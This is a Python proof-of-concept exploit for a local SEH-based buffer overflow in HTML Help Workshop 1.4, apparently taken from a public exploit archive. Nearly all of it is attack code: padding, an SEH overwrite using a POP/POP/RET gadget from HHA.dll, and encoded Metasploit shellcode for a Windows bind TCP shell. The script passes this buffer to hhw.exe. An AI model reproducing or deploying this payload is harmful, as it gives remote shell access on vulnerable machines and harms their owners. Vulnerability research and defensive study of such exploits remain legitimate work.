HTML Help Workshop 1.4 – Local Buffer Overflow (SEH)
import subprocess # Exploit Title: HTML Help Workshop 1.4 - Local Buffer Overflow Exploit (SEH) # Date: 31/08/2014 # Author: mr.pr0n (@_pr0n_) # Homepage: http://ghostinthelab.wordpress.com/ # Software Link: http://msdn.microsoft.com/en-us/library/windows/desktop/ms669985%28v=vs.85%29.aspx # Version: 1.4 # Tested on: Windows XP SP3 / Windows 7 Pro junk = "A" * 832 # Junk bytes nseh = "\xeb\x06\xff\xff" # Overwrite next seh, with jump forward (over the next 6 bytes) instruction seh = "\xd0\x11\x30\x45" # Overwrite seh with POP ECX,POP ESI,RETN from HHA.dll (Universal) nops = "\x90" * 10 # Nops #msfpayload windows/shell_bind_tcp EXITFUNC=seh R | #msfencode -e x86/alpha_mixed -c 1 -b '\x00\x0a\x0d\xff' shellcode = ("\x89\xe5\xd9\xc4\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" "\x42\x75\x4a\x49\x6b\x4c\x79\x78\x4f\x79\x65\x50\x57\x70" "\x67\x70\x75\x30\x4c\x49\x58\x65\x30\x31\x69\x42\x30\x64" "\x6c\x4b\x31\x42\x66\x50\x4e\x6b\x46\x32\x66\x6c\x6e\x6b" "\x66\x32\x44\x54\x4c\x4b\x50\x72\x44\x68\x64\x4f\x68\x37" "\x50\x4a\x65\x76\x65\x61\x4b\x4f\x46\x51\x4f\x30\x4e\x4c" "\x55\x6c\x65\x31\x31\x6c\x36\x62\x44\x6c\x55\x70\x6b\x71" "\x48\x4f\x44\x4d\x55\x51\x79\x57\x39\x72\x68\x70\x33\x62" "\x66\x37\x6e\x6b\x42\x72\x36\x70\x6e\x6b\x42\x62\x45\x6c" "\x56\x61\x68\x50\x6c\x4b\x61\x50\x61\x68\x6c\x45\x4f\x30" "\x31\x64\x72\x6a\x75\x51\x78\x50\x42\x70\x6e\x6b\x30\x48" "\x42\x38\x4e\x6b\x73\x68\x61\x30\x76\x61\x6e\x33\x69\x73" "\x47\x4c\x72\x69\x6e\x6b\x77\x44\x4c\x4b\x65\x51\x79\x46" "\x34\x71\x79\x6f\x50\x31\x4f\x30\x6c\x6c\x7a\x61\x38\x4f" "\x54\x4d\x57\x71\x68\x47\x77\x48\x79\x70\x54\x35\x7a\x54" "\x67\x73\x61\x6d\x79\x68\x65\x6b\x61\x6d\x36\x44\x61\x65" "\x78\x62\x36\x38\x6e\x6b\x42\x78\x64\x64\x53\x31\x49\x43" "\x63\x56\x4e\x6b\x66\x6c\x52\x6b\x4c\x4b\x53\x68\x35\x4c" "\x55\x51\x59\x43\x6c\x4b\x43\x34\x6c\x4b\x57\x71\x38\x50" "\x4c\x49\x72\x64\x77\x54\x51\x34\x53\x6b\x53\x6b\x50\x61" "\x63\x69\x32\x7a\x42\x71\x59\x6f\x6b\x50\x36\x38\x71\x4f" "\x71\x4a\x4e\x6b\x75\x42\x48\x6b\x4e\x66\x51\x4d\x43\x58" "\x56\x53\x56\x52\x55\x50\x75\x50\x43\x58\x52\x57\x73\x43" "\x45\x62\x61\x4f\x31\x44\x31\x78\x62\x6c\x43\x47\x66\x46" "\x34\x47\x49\x6f\x5a\x75\x6c\x78\x6a\x30\x46\x61\x37\x70" "\x63\x30\x34\x69\x4f\x34\x51\x44\x62\x70\x63\x58\x67\x59" "\x4d\x50\x52\x4b\x43\x30\x39\x6f\x68\x55\x36\x30\x56\x30" "\x46\x30\x66\x30\x73\x70\x72\x70\x71\x50\x52\x70\x70\x68" "\x78\x6a\x44\x4f\x49\x4f\x4d\x30\x49\x6f\x49\x45\x6c\x49" "\x79\x57\x66\x51\x39\x4b\x51\x43\x70\x68\x76\x62\x47\x70" "\x66\x71\x33\x6c\x6d\x59\x79\x76\x43\x5a\x72\x30\x66\x36" "\x36\x37\x52\x48\x69\x52\x4b\x6b\x65\x67\x72\x47\x59\x6f" "\x69\x45\x76\x33\x31\x47\x62\x48\x6d\x67\x39\x79\x45\x68" "\x79\x6f\x39\x6f\x4a\x75\x32\x73\x42\x73\x30\x57\x73\x58" "\x44\x34\x4a\x4c\x55\x6b\x68\x61\x39\x6f\x69\x45\x70\x57" "\x6b\x39\x4a\x67\x32\x48\x63\x45\x50\x6e\x62\x6d\x65\x31" "\x39\x6f\x6e\x35\x73\x58\x72\x43\x42\x4d\x30\x64\x43\x30" "\x6e\x69\x5a\x43\x56\x37\x73\x67\x43\x67\x66\x51\x7a\x56" "\x33\x5a\x52\x32\x71\x49\x33\x66\x48\x62\x4b\x4d\x73\x56" "\x59\x57\x72\x64\x66\x44\x47\x4c\x66\x61\x57\x71\x4e\x6d" "\x67\x34\x31\x34\x46\x70\x79\x56\x75\x50\x57\x34\x70\x54" "\x62\x70\x36\x36\x32\x76\x42\x76\x57\x36\x76\x36\x42\x6e" "\x63\x66\x33\x66\x73\x63\x30\x56\x32\x48\x50\x79\x78\x4c" "\x37\x4f\x4f\x76\x39\x6f\x4e\x35\x6c\x49\x79\x70\x50\x4e" "\x52\x76\x61\x56\x39\x6f\x50\x30\x61\x78\x36\x68\x6d\x57" "\x67\x6d\x53\x50\x79\x6f\x38\x55\x6d\x6b\x4b\x4e\x66\x6e" "\x45\x62\x79\x7a\x33\x58\x59\x36\x4e\x75\x4f\x4d\x4d\x4d" "\x39\x6f\x59\x45\x55\x6c\x56\x66\x33\x4c\x66\x6a\x6f\x70" "\x79\x6b\x39\x70\x71\x65\x54\x45\x6d\x6b\x53\x77\x37\x63" "\x73\x42\x42\x4f\x73\x5a\x77\x70\x70\x53\x79\x6f\x49\x45" "\x41\x41") exploit = junk + nseh + seh + nops + shellcode subprocess.call(['C:\\Program Files\\HTML Help Workshop\\hhw.exe ',exploit]) # EOF |